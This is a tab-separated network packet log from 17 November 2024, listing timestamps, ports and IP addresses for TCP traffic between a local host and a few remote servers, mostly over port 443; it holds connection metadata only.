Nov 17, 2024 22:20:26.172688961 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.172765017 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.172931910 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.172943115 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.360781908 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.361308098 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.361407995 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.488717079 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.488755941 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.488773108 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.488780975 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.601802111 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.601869106 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.601948977 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.609781027 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.609838963 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.850258112 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.891859055 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.902460098 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.907418013 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.910864115 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.913642883 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.913670063 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.914230108 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.914236069 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.944102049 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.948273897 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.948282003 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.948827982 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.948832989 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.949150085 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.949155092 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.949583054 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.949585915 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.950067043 CET	49742	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.950148106 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:26.950476885 CET	49742	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:26.950489998 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.041842937 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.041915894 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.041975021 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.069957018 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.070003033 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.070071936 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.070483923 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.070499897 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.075124025 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.075354099 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.075416088 CET	49742	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.075639009 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.076247931 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.076347113 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.077675104 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.077744961 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.077800989 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.096254110 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.096293926 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.096313000 CET	49740	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.096321106 CET	443	49740	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.161292076 CET	49742	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.161367893 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.161427975 CET	49742	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.161448002 CET	443	49742	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.161633968 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.161658049 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.161672115 CET	49743	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.161679029 CET	443	49743	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.176620960 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.176649094 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.176659107 CET	49741	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.176662922 CET	443	49741	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.307091951 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.307133913 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.307199001 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.307445049 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.307466030 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.337491035 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.392811060 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.465390921 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.465408087 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.465993881 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.466001034 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.467855930 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.467916012 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.467992067 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.468754053 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:27.468774080 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.595840931 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.595926046 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:27.596009970 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:27.873811960 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:27.877266884 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:27.930953026 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:27.978256941 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.152770042 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.203586102 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.328862906 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.337470055 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.337496996 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.337512016 CET	49744	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.337521076 CET	443	49744	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.368876934 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.404189110 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.404237986 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.405848980 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.405878067 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.405925035 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.405952930 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.406021118 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.408406019 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.408436060 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.408566952 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.408582926 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.410296917 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.410362959 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.412391901 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.412473917 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.414851904 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.414957047 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.415190935 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.415302038 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.415414095 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.415601969 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.415656090 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.415677071 CET	443	49749	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.415698051 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.415719986 CET	49749	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.416913033 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.416932106 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.417031050 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.417043924 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.428091049 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.428107023 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.433309078 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.433347940 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.433480978 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.433916092 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.433929920 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.459270000 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.459270000 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.471482992 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.471517086 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.471787930 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.496243954 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.496264935 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.497191906 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.497220039 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.497311115 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.497565985 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.497585058 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.502221107 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.502253056 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.502329111 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.504724026 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.504765987 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.504828930 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.505820036 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.505834103 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.509016037 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:28.509036064 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:28.687993050 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688052893 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688091040 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688098907 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.688112020 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688155890 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.688163042 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688477993 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.688527107 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.688534021 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702543974 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702685118 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702743053 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.702753067 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702841997 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702893019 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.702899933 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.702967882 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.703021049 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.703032970 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.710999012 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.711055040 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.711066008 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.735534906 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.735555887 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.735934019 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.735985041 CET	443	49748	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.736042976 CET	49748	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.750705004 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.750711918 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.794995070 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.821230888 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.821434975 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.821496010 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.821504116 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.822406054 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.822467089 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.822473049 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.826267004 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.826311111 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.826318979 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.835078955 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.835136890 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.835144043 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.882064104 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.882168055 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.882181883 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.940339088 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.940407991 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.940418959 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.941005945 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.941059113 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.941066027 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.944825888 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.944881916 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.944890976 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.953826904 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:28.953877926 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:28.953886032 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.000869036 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.000936985 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.000952005 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.042907953 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.042922974 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.059379101 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.059458017 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.059467077 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.060154915 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.060213089 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.060223103 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.063636065 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.063694954 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.063702106 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.072453976 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.072515965 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.072525024 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.119227886 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.119285107 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.119304895 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.170152903 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.176815033 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.176884890 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.176908016 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.177697897 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.177750111 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.177757978 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.178308964 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.178356886 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.178364038 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.182033062 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.182086945 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.182095051 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.191241026 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.191306114 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.191320896 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.195514917 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.195573092 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.195581913 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.219383001 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.219419003 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.220415115 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.220421076 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.223061085 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.223961115 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.231251955 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.231272936 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.236128092 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.242244959 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.242252111 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.250633001 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.250829935 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.250855923 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.251694918 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.251713991 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.259339094 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.259361029 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.260212898 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.260234118 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.260726929 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.260750055 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.261459112 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.261466980 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.278500080 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.281174898 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.281188965 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.281552076 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.283108950 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.283174992 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.283482075 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.295366049 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.295444965 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.295469046 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.296369076 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.296416044 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.296422958 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.296859026 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.296906948 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.296915054 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.297993898 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.298044920 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.298052073 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.309736013 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.309793949 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.309806108 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.314121962 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.314182043 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.314189911 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.331337929 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.347558022 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.347671986 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.347733974 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.349752903 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.349769115 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.349783897 CET	49751	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.349792004 CET	443	49751	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.352669954 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.352703094 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.352771997 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.353158951 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.353173018 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.369538069 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.369678974 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.369822025 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.369822025 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.369878054 CET	49754	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.369891882 CET	443	49754	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.375844955 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.375983953 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.376133919 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.376935005 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.376970053 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.377027035 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.377262115 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.377280951 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.377432108 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.377432108 CET	49753	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.377445936 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.377463102 CET	443	49753	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.380342960 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.380383968 CET	443	49761	13.107.246.45	192.168.2.7
